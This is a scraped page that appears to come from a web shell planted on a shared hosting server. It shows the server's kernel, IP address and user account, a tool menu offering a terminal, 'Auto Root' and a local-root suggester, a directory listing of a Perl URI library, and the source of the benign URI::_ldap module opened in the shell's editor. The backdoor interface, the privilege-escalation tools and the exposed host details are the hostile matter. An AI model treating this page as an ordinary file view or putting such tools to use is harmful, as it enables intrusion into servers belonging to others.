Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
perl5 /
URI /
Delete
Unzip
Name
Size
Permission
Date
Action
file
[ DIR ]
drwxr-xr-x
2021-09-16 10:45
urn
[ DIR ]
drwxr-xr-x
2021-09-16 10:45
Escape.pm
6.49
KB
-rw-r--r--
2012-02-11 09:48
Heuristic.pm
6.41
KB
-rw-r--r--
2012-02-11 09:48
IRI.pm
769
B
-rw-r--r--
2012-02-11 09:48
QueryParam.pm
4.47
KB
-rw-r--r--
2012-03-11 10:35
Split.pm
2.3
KB
-rw-r--r--
2012-02-11 09:48
URL.pm
5.4
KB
-rw-r--r--
2012-02-11 09:48
WithBase.pm
3.74
KB
-rw-r--r--
2012-02-11 09:48
_foreign.pm
75
B
-rw-r--r--
2012-02-11 09:48
_generic.pm
5.63
KB
-rw-r--r--
2012-02-11 09:48
_idna.pm
1.99
KB
-rw-r--r--
2012-03-11 08:03
_ldap.pm
3.17
KB
-rw-r--r--
2012-02-11 09:48
_login.pm
222
B
-rw-r--r--
2012-02-11 09:48
_punycode.pm
4.52
KB
-rw-r--r--
2012-02-11 09:48
_query.pm
2.39
KB
-rw-r--r--
2012-03-25 16:44
_segment.pm
377
B
-rw-r--r--
2012-02-11 09:48
_server.pm
3.62
KB
-rw-r--r--
2012-02-11 09:48
_userpass.pm
977
B
-rw-r--r--
2012-02-11 09:48
data.pm
3.28
KB
-rw-r--r--
2012-02-11 09:48
file.pm
9.58
KB
-rw-r--r--
2012-02-11 09:48
ftp.pm
1.03
KB
-rw-r--r--
2012-02-11 09:48
gopher.pm
2.34
KB
-rw-r--r--
2012-02-11 09:48
http.pm
405
B
-rw-r--r--
2012-02-11 09:48
https.pm
107
B
-rw-r--r--
2012-02-11 09:48
ldap.pm
2.9
KB
-rw-r--r--
2012-02-11 09:48
ldapi.pm
460
B
-rw-r--r--
2012-02-11 09:48
ldaps.pm
107
B
-rw-r--r--
2012-02-11 09:48
mailto.pm
1.24
KB
-rw-r--r--
2012-02-11 09:48
mms.pm
89
B
-rw-r--r--
2012-02-11 09:48
news.pm
1.39
KB
-rw-r--r--
2012-02-11 09:48
nntp.pm
91
B
-rw-r--r--
2012-02-11 09:48
pop.pm
1.15
KB
-rw-r--r--
2012-02-11 09:48
rlogin.pm
96
B
-rw-r--r--
2012-02-11 09:48
rsync.pm
197
B
-rw-r--r--
2012-02-11 09:48
rtsp.pm
89
B
-rw-r--r--
2012-02-11 09:48
rtspu.pm
90
B
-rw-r--r--
2012-02-11 09:48
sip.pm
1.72
KB
-rw-r--r--
2012-02-11 09:48
sips.pm
105
B
-rw-r--r--
2012-02-11 09:48
snews.pm
136
B
-rw-r--r--
2012-02-11 09:48
ssh.pm
140
B
-rw-r--r--
2012-02-11 09:48
telnet.pm
95
B
-rw-r--r--
2012-02-11 09:48
tn3270.pm
95
B
-rw-r--r--
2012-02-11 09:48
urn.pm
1.91
KB
-rw-r--r--
2012-02-11 09:48
Save
Rename
# Copyright (c) 1998 Graham Barr <gbarr@pobox.com>. All rights reserved. # This program is free software; you can redistribute it and/or # modify it under the same terms as Perl itself. package URI::_ldap; use strict; use vars qw($VERSION); $VERSION = "1.12"; use URI::Escape qw(uri_unescape); sub _ldap_elem { my $self = shift; my $elem = shift; my $query = $self->query; my @bits = (split(/\?/,defined($query) ? $query : ""),("")x4); my $old = $bits[$elem]; if (@_) { my $new = shift; $new =~ s/\?/%3F/g; $bits[$elem] = $new; $query = join("?",@bits); $query =~ s/\?+$//; $query = undef unless length($query); $self->query($query); } $old; } sub dn { my $old = shift->path(@_); $old =~ s:^/::; uri_unescape($old); } sub attributes { my $self = shift; my $old = _ldap_elem($self,0, @_ ? join(",", map { my $tmp = $_; $tmp =~ s/,/%2C/g; $tmp } @_) : ()); return $old unless wantarray; map { uri_unescape($_) } split(/,/,$old); } sub _scope { my $self = shift; my $old = _ldap_elem($self,1, @_); return unless defined wantarray && defined $old; uri_unescape($old); } sub scope { my $old = &_scope; $old = "base" unless length $old; $old; } sub _filter { my $self = shift; my $old = _ldap_elem($self,2, @_); return unless defined wantarray && defined $old; uri_unescape($old); # || "(objectClass=*)"; } sub filter { my $old = &_filter; $old = "(objectClass=*)" unless length $old; $old; } sub extensions { my $self = shift; my @ext; while (@_) { my $key = shift; my $value = shift; push(@ext, join("=", map { $_="" unless defined; s/,/%2C/g; $_ } $key, $value)); } @ext = join(",", @ext) if @ext; my $old = _ldap_elem($self,3, @ext); return $old unless wantarray; map { uri_unescape($_) } map { /^([^=]+)=(.*)$/ } split(/,/,$old); } sub canonical { my $self = shift; my $other = $self->_nonldap_canonical; # The stuff below is not as efficient as one might hope... $other = $other->clone if $other == $self; $other->dn(_normalize_dn($other->dn)); # Should really know about mixed case "postalAddress", etc... $other->attributes(map lc, $other->attributes); # Lowercase scope, remove default my $old_scope = $other->scope; my $new_scope = lc($old_scope); $new_scope = "" if $new_scope eq "base"; $other->scope($new_scope) if $new_scope ne $old_scope; # Remove filter if default my $old_filter = $other->filter; $other->filter("") if lc($old_filter) eq "(objectclass=*)" || lc($old_filter) eq "objectclass=*"; # Lowercase extensions types and deal with known extension values my @ext = $other->extensions; for (my $i = 0; $i < @ext; $i += 2) { my $etype = $ext[$i] = lc($ext[$i]); if ($etype =~ /^!?bindname$/) { $ext[$i+1] = _normalize_dn($ext[$i+1]); } } $other->extensions(@ext) if @ext; $other; } sub _normalize_dn # RFC 2253 { my $dn = shift; return $dn; # The code below will fail if the "+" or "," is embedding in a quoted # string or simply escaped... my @dn = split(/([+,])/, $dn); for (@dn) { s/^([a-zA-Z]+=)/lc($1)/e; } join("", @dn); } 1;